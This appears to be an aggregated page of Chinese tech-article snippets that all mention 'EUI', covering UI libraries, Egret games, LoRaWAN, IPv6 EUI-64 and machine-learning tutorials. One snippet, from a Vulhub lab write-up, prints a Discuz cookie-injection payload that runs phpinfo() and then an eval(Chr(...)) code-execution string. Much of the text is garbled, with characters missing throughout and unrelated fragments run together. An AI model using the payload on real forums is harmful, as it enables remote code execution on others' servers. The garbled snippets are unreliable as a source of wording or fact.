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如何全栈开发一款团购小程序应用

管理端控件库方面,目前国内React体下绝大多数都会选用Antd控件库,说实话笔者是一个爱尝鲜的人,在上一个开源项目( lucky_bilibili_web)中尝试了微软开源的FabricUI 库。 此次又盯上了elastic开源的EUI,用完后感觉非常的经验!用这套控件库开发一些纯工具类的应用实在是太便捷了。 本文末尾会放出一张用工这个控件库做工具类应用的图[1],完全是用EUI控件组合出来的,大家可以感受一下。 manage/src/hook/useOrderMuation.ts //line 81 /cloud/functions/mini-proxy /cloud/functions/refund 数据计分析 ---- 用EUI开发的工具类应用如图 ↩︎

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开发 | 傻瓜式操作带你初始化「跳一跳」游戏场景

今天我们将为大家讲解事件的绑定以及 EUI 的进一步使用,以及什么叫「工厂方法」。 初始化游戏场景资源 初始化完游戏场景 EUI 后,我们开始初始化 GameScene.ts 游戏场景资源。 然后把这个 EUI 从 reBackBlockArr 拿出来放到 blockArr 中。 等这个 EUI 超出屏幕的时候,就是该销毁了, 把这个 EUI 从显示列表中删除,并且从 blockArr 拿出来放到 reBackBlockArr 中。 这样就形成了一个循环,游戏整个过程中的 EUI 也就是仅仅几个而已。

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    The Things Network LoRaWAN Stack V3 笔记 2.3 使用 CLI 在 Stack 上创建 DEMO 应用

    /ttn-lw-cli gateway create ttgtw1 --user-id ttn-1 --frequency-plan-id CN_470_510_FSB_11 --gateway-eui /ttn-lw-cli gateway create gtw1 --user-id admin -- frequency-plan-id CN_470_510_FSB_11 --gateway-eui /ttn-lw-cli gateway create gtw1 --user-id ttn-1 -- frequency-plan-id CN_470_510_FSB_11 --gateway-eui /ttn-lw-cli gateway update ttgtw1 --user-id ttn-1 --frequency-plan-id CN_470_510_FSB_11 --gateway-eui /ttn-lw-cli end-devices create ttapp1 ttdev1 --dev-eui 3304A30B001C0530 --join-eui 800000000000000C -

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    推荐 | Python机器学习项目实战(附代码 + 可下载)【一】

    探索性数据分析(EDA)是一个开放式的过程,我们可以计算计数据,并画图去发现数据中的趋势,异常,模式或关。 Energy Star Score是百分位数,这意味着我们期望看到一个一的分布,即每个得分分配给相同数量的建筑物。 例如,下面的图表显示了不同建筑物类型的Energy Star Score与site EUI的关: ? 这个图让我们可以看到-0.7的相关数。 例如,要查看Weather EUorm EUI与score的相关性,我们查看Weather EUorm EUI行和score列,并查看相关数为-0.67。 例如,以下是Site EUI与Weather Normalized SiteEUI的相关数为0.997的图。 ?

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    全栈开发一款团购小程序应用

    管理端控件库方面,目前国内React体下绝大多数都会选用Antd控件库,说实话笔者是一个爱尝鲜的人,在上一个开源项目( lucky_bilibili_web)中尝试了微软开源的FabricUI 库。 此次又盯上了elastic开源的EUI,用完后感觉非常的经验!用这套控件库开发一些纯工具类的应用实在是太便捷了。 本文末尾会放出一张用工这个控件库做工具类应用的图^1,完全是用EUI控件组合出来的,大家可以感受一下。 src/hook/useOrderMuation.ts //line 81 /cloud/functions/mini-proxy /cloud/functions/refund 数据计分析 实现类似antd form的便捷操作 注:这里是我的私货啦 在源码中我专门留下了一个ext的文件夹,并对EUI的表单控件进行了二次封装。

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    IPv6中的地址配置

    其实在RFC6106中,已经为NDP增加一个option字段RDNSS(Recursive DNS Server),用来设置DNS server地址,但是因为以上争议的存在,各操作对此支持不太一致, 在Stateless和SLAAC模式下,主机需要根据前缀信息自动构造IPv6地址,一种常见的构造方式成为EUI-64。 EUI-64格式地址由地址前缀和接口标识两部分组成,前缀固定为64位,接口标识符64位。IEEEEUI-64规定了这种情况下64位接口标识符的构造方式。 IEEE EUI-64只是接口标识符构造的方式之一,Linux默认使用该标准。不过还有其他的构造方式,比如Windows默认就采用随机生成方式产生接口标志符。 用户在将自己的主机接入IPv6网络的时候,需要根据当前网络使用的地址配置模式来配置操作,才能正确的获取IPv6地址,这里以CentOS7为例介绍主机操作的配置。

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    开发 | 傻瓜式操作带你创建「跳一跳」场景

    5.1.5", "compilerVersion": "5.1.5", "target": { "current": "wxgame" }, "template": {}, "eui 一个 EUI 组件由两部分组成:ts 文件和 exml 文件。 在 src 目录下的 scene 文件夹中创建 BeginScene 场景的 EUI 组件: 鼠标右击 src 目录。 选择「新建模板文件」。 选择「新建 EUI 组件」。 点击确定后,生成 BeginScene 场景的 EUI 组件: ? 同理,在 src 目录下新建 GameScene 场景的 EUI 组件: ? 编辑开始场景的 EUI 找到项目结构下 resource 目录下的 scene 文件夹下的 BeginScene.exml。 ?

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    The Things Network LoRaWAN Stack V3 学习笔记 2.6 新增一个 CN470 子频段

    ttn-lw-cli gateways create ttgtw1 --user-id admin --frequency-plan-id CN_470_510_FSB_1 --gateway-eui /ttn-lw-cli end-devices create ttapp1 ttdev1 --dev-eui 3304A30B001C0530 --join-eui 800000000000000C -

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    一个真实数据集的完整机器学习解决方案(上)

    技术宅做过小小的调研,许多同学会选择一本机器学习的书籍,或是一门机器学习的课程来性地学习。而在学完书本、课程后,并不清楚如何将这些理论、技术应用到实际的项目流程中。 在本次的分享中,技术宅将借用国外机器学习大牛的数据,为大家的讲解一个针对真实数据集的完整机器学习解决方案,让你碎片化的知识,一文成型。 我们先来看,一个完整的机器学习工程的实现步骤: 1. 相关性计 我们可以使用皮尔逊(Pearson)相关数来衡量目标与其他数据列的相关关,从而找到与目标变量相关性(正负)最强的列的排序。 ? ? EUI表示建筑物的能源使用量是其规模或其他特性的函数(越低越好)。直观来看,显著的负相关性是有意义的:随着EUI的增加,能源之星评分趋于下降。 以下图为例,Site EUI与Weather Norm EUI,这两个变量的相关数高达0.997,显然我们不需要都做保留。 ?

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    从item-base到svd再到rbm多种协同过滤算法从原理到实现

    一.引入 一直想写一篇关于推荐的文章总结下,这次借着完善DML写一下,权当是总结了。不过真正的推荐当然不会这么简单,往往是很多算法交错在一起,本文只是入门水平的总结罢了。 self.X[i][0] mid=self.X[i][1] rat=self.X[i][2] eui =rat-self.pred(uid,mid) rmse_sum+=eui**2 self.bu[uid]+=gamma*(eui-Lambda*self.bu[ uid]) self.bi[mid]+=gamma*(eui-Lambda*self.bi[mid]) temp=self.qi[mid] self.qi [mid]+=gamma*(eui*self.pu[uid]-Lambda*self.qi[mid]) self.pu[uid]+=gamma*(eui*temp-Lambda*self.pu[uid

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    华为路由交换技术 | IPV6技术详解与案例分析

    FE80::+EUI-64 地址 EUI-64 地址:原mac地址中间嵌入FFFE,然后将第七个bit 取反。 擦除华为配置 < > reset saved-configuration ?

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    当产品和设计在讨论改版的时候,我们在讨论什么

    所有这些我们都有一个最基础的eui组件库作为业务支撑。 随着业务的不断深入,我们设计也对不同品类的IDE工具进行细分,能让用户对不同工具的感官体验舒畅、愉悦。 这里又引出一个问题,比如A组件,我只想在创意实验室用白色皮肤,在3d实验室用黑色。那怎办呢? 目前还是用在业务项目中覆盖样式的写法。 从创意实验室开始,基于EUI的variable.less,针对该业务重新梳理一的variable.less。使它更适用于当前业务。 ? 得益于设计师的严谨和专业,我们前期定制的规范都能遵循。 最后总结: 本次改版只是涉及到样式的小范围刷新,一定要跟设计定好一规则。否则这套variable.lees就越堆越多。 从0到1实现一款轻量级大数据分析 ? 腾讯的组织能力是什么 ?

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    一个完整的机器学习项目在Python中的演练(一)

    那些异常值可能是由于数据输入中的拼写错误或者错误计等等原因造成的,或者一些不是上述两个原因但是对模型训练没有好处的极端值。 然而,能源之星得分是一个百分位数,我们希望看到一个一的分布,每个得分分配给相同数量的建筑物。 从上图可以看出成最负相关的几项类别变量几乎都与能源使用强度(EUI)有关。能源使用强度(EUI)是表示建筑物的能源使用量是其规模或其他特性的函数(越低越好)。 直观地说,这些相关性是有意义的:随着EUI的增加,能源之星评分趋于下降。 双变量图 我们使用散点图来表现两个连续变量之间的关,这样可以在点的颜色中包含分类变量等附加信息。 例如,下面的图表就体现了建筑物类型的能源之星评分对比Site EUI: ? 通过这个图,我们可以看出-0.7的相关数变化。随着Site EUI减少,能源之星得分增加,这种关在建筑类型中保持稳定。

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    这大概是小游戏开放注册后的第一辆车!不上你就亏了

    直播信息 主讲人:王倩倩(白鹭科技高级培训讲师) 直播时间:3 月 28 日 19:00 直播平台:斗鱼直播间 直播内容: EUI 游戏项目制作; 游戏中音频管理; 游戏关卡数据的管理与展示; 成语类游戏的文字操作 讲师介绍 讲师:王倩倩 5 年开发、讲师经验,先后担任爱鲜蜂、快牙、洛克人等多个项目的负责人,就职于白鹭科技,担任白鹭引擎人才教育培训高级讲师,熟练 Egret 引擎中的 Egret、RES、eui、game

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    Vulhub漏洞靶场搭建

    firewalld.service 物理机使用管理员模式打开CMD $ route add -p 172.18.0.0 mask 255.255.0.0 192.168.1.13 # -p 永久路由,重启路由仍有效 填写联方式页面直接点击跳过本步后跳转到首页 登录成功后进入默认板块,开启Burp抓包,然后随便点击一篇贴子 将Cookie修改为下面,点击放包 # EXP Cookie: GLOBALS[_DCACHE */eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); ======================================== */eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); Connection: close ========================= */eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(

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    LoRaWAN协议解析 第6章 终端激活

    * Mote device IEEE EUI (big endian) * * \remark In this application the value is automatically generated * Application IEEE EUI (big endian) */ #define LORAWAN_APPLICATION_EUI { 0x00, 0x00

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    egret入门,这一篇应该够了

    本文首发于微信公众号:"算法与编程之美",欢迎关注,及时了解更多此列文章。 egret wing支持可视化创建、编辑和管理项目 EUI,以及 TS 代码编写和断点调试。 创建项目有两个选项,游戏项目和EUI项目,主要是勾选的拓展库不同,建议创建时不管是哪种,都将eui 和game两个库都勾选上。 除了默认勾选的,其他按需求勾选。 舞台尺寸一般按照美术出图设置。

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